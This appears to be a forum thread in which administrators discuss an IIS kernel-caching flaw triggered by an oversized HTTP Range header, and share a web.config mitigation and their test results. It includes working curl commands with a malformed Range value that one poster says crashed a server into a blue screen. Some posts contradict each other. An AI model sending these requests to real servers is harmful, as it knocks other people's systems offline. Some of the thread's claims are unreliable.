If you can't afford to reboot your servers right now to install the patch, at least you can add this to your web.config and deploy your websites ASAP :
<configuration> <system.webServer> <caching enableKernelCache="false"/> </system.webServer> </configuration>
EDIT:
It causes a config error when a lock violation occurs which means the site gets an error 500 so its not an ideal fix.
Also my tests seem to indicate that just having kernel mode caching enabled even if you dont have any rules still seem to cause a BSOD.
EVEN WITH NO RULES, YOU ARE VULNERABLE! My previous answer has been proven to be wrong!
This is pretty wild.
The vulnerability allows execute code remotly under the Syetem account.
Am I wrong?
One server (our development server) has proven vulnerable. Maybe reverse proxies are sanitizing the results?
$ curl -v 10.100.0.40/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"
* About to connect() to 10.100.0.40 port 80 (#0)
* Trying 10.100.0.40...
* Adding handle: conn: 0x1d83278
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x1d83278) send_pipe: 1, recv_pipe: 0
* Connected to 10.100.0.40 (10.100.0.40) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.30.0
> Accept: */*
> Host: irrelevant
> Range: bytes=0-18446744073709551615
>
< HTTP/1.1 416 Requested Range Not Satisfiable
< Content-Type: text/html
< Last-Modified: Wed, 27 Aug 2014 14:56:23 GMT
< Accept-Ranges: bytes
< ETag: "885fe5117c2cf1:0"
* Server Microsoft-IIS/7.5 is not blacklisted
< Server: Microsoft-IIS/7.5I read the microsoft security bulletin and it says that your IIS server is protected if Kernal Caching is off, maybe that's why our servers are neither blocking the request nor crashing with the request.
I created a rule to cache all .png files and I changed the curl request to request a .png image on the server. I got a BSOD!
(If you could take a screenshot/snapshot that'd be great.)
I'm really curious to see what bugcheck is being hit.
Edit:
Actually sometimes you get additional info:
curl -v http://example.com/image.png -H "Range: bytes=18-18446744073709551615"
I installed the pending windows updates and after a restart the problem seems to be gone.
EDIT : It is indeed related to "Output Cache" setting in IIS as I said I was suspecting in another comment. I managed to crash our servers by going to IIS Management, select the website I wanted to test, go to Output Caching, enable the feature AND also add a rule (I added a rule for .png just to test). If you have NO rules it is the same as having the feature disabled so you are safe. If you add a rule and check "Enable Kernal Caching" you are vulnerable!
EDIT 2 : As some have asked, this is the command I used to crash our test server. I tested it after having created a new Output Caching rule to cache all .png files in kernel mode.
curl -v http://example.com/image.png -H "Range: bytes=18-18446744073709551615"
I didn't take a screenshot of the BSOD and I don't plan on crashing our test env a second time today because people are using it (I tested it early enough that not a lot of people were at the office yet).